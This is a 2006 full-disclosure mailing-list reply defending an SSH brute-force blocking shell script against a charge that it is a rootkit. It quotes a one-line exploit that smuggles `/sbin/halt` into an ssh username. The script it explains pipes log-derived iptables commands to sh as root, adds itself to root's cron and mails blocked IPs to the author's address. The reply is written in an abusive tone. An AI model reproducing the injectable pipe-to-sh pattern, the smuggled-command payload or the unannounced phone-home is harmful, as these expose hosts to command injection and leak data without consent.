full-disclosure - Re: SSH brute force blocking tool

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Date: Mon, 27 Nov 2006 15:51:39 -0500
From: "J. Oquendo" <sil@...iltrated.net>
To: Tavis Ormandy <taviso@...too.org>
Cc: full-disclosure <full-disclosure@...ts.grok.org.uk>
Subject: Re: SSH brute force blocking tool

Tavis Ormandy wrote:
>
> Nice work, really subtle rootkit. I like the email phone-home.
>
> Here's an exploit.
>
> #!/bin/sh
> ssh 'foo bar `/sbin/halt`'@...tim
>
>   

Since you seem to be clueless I'll answer step by step. Here goes idiot. 
(Sinful to see someone so clueless coming from Gentoo... Guess it goes 
with the romper room Linux territory)

if [ `whoami` != root ]

        then  echo "This script needs to run under the root user"
exit

else

if [ -e /tmp/hosts.deny ]

        then
                 rm /tmp/hosts.deny
fi
/////

Check to see if the user is root. If not, tell the user "Hey dumbass, you
need to be root", if the user is root, continue.

/////
awk '/error retrieving/{getline;print $13}' /var/log/secure|sort -ru >> 
/tmp/hosts.deny
diff /etc/hosts.deny /tmp/hosts.deny | awk '/\./ && />/{print $2}' >> 
/etc/hosts.deny
/////

There is no hocus pocus here. Look at /var/log/secure and fine the term
"error retrieving" and print the next line, 13th column. Then sort it and
print the unique entries into /tmp/hosts.deny. After you do this, compare
/tmp/hosts.deny with /etc/hosts.deny and put the differences not in 
/etc/hosts.deny
into /etc/hosts.deny

/////
OS=$( uname|sed -n '1p')
/////

This is a no brainer. No voodoo there.

# IPTables function...
ifaddr=`ifconfig -a|awk '/inet/ && !/inet6/ && !/127.0/ && 
!/192.168/{print $2}'|sed 's/addr\://g'`

Do an ifconfig on the machine. Ignore the word inet, inet6, 127.0, 
192.168, print
the second field, and replace the term addr: with nothing. No voodoo 
here jackass.

/////
function IPT {

awk '!/#/ && /\./ && !a[$0]++
{print "iptables -A INPUT -s "$1" -i eth0 -d '$ifaddr' -p TCP --dport 22 
-j REJECT"}' /etc/hosts.deny |\
awk '/iptables/ && !/#/ && !/-s  -i/'|sh

}
/////

This is such a hacker thing coming now. You caught me.

Ignore comments !/#/
print anything with a decimal /\./
make this unique !a[$0]++ (!a[$0]++ = uniq ... shhh don't expose my awk 
hacking)

/////
if [ $OS = Linux ]

        then
                IPT

fi
/////

This is where I guess I hack the world. Check the OS and if it's Linux, 
then

cat /etc/hosts.deny

Ignore comments !/#/
print anything with a decimal /\./
make this unique !a[$0]++ (!a[$0]++ = uniq ... shhh don't expose my awk 
hacking)
then print iptables -A INPUT -s "$1" -i eth0 -d '$ifaddr' -p TCP --dport 
22 -j REJECT
$1 = IP address
$ifaddr = IP address of the interface

/////
echo "Copying sharpener to /usr/local/bin"
sed -n '1,67p' ./sharpener > /usr/local/bin/sharpener
echo "fi" >> /usr/local/bin/sharpener
rm ./sharpener
/////

Here goes the voodoo... You ready?

print lines from 1 through 67 of this same file but put it in 
/usr/local/sharpener
add a fi to that same file then remove the original

/////
sleep 2
echo ""
echo "Adding Sharpener to cron"
echo "0,10,20,30,40,50 * * * * /usr/local/bin/sharpener"

if [ -e /var/spool/cron/root ]

        then
                 echo "0,10,20,30,40,50 * * * * 
/usr/local/bin/sharpener" >> /var/spool/cron/root

else
if [ -e /var/cron/tabs/root ]

        then
                echo "0,10,20,30,40,50 * * * * /usr/local/bin/sharpener" 
 >> /var/cron/tabs/root

        fi
fi

/////

Add it to cron

/////

awk '!/192.168/ &&
!/127./ &&
!/#/ &&
!/172.32/{print $1" has been blocked via SSH"}' /etc/hosts.deny |\

mail -s "Sharpener" sharpener@...iltrated.net

fi
/////

Print out the first column of /etc/hosts.deny ... Ignore 127., ignore #, 
and ignore 172.32
then mail it to an evil hacker site so they can traverse telekinetically 
into your machine.

Right.

-- 
====================================================
J. Oquendo
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x1383A743
sil . infiltrated @ net http://www.infiltrated.net 

The happiness of society is the end of government.
John Adams

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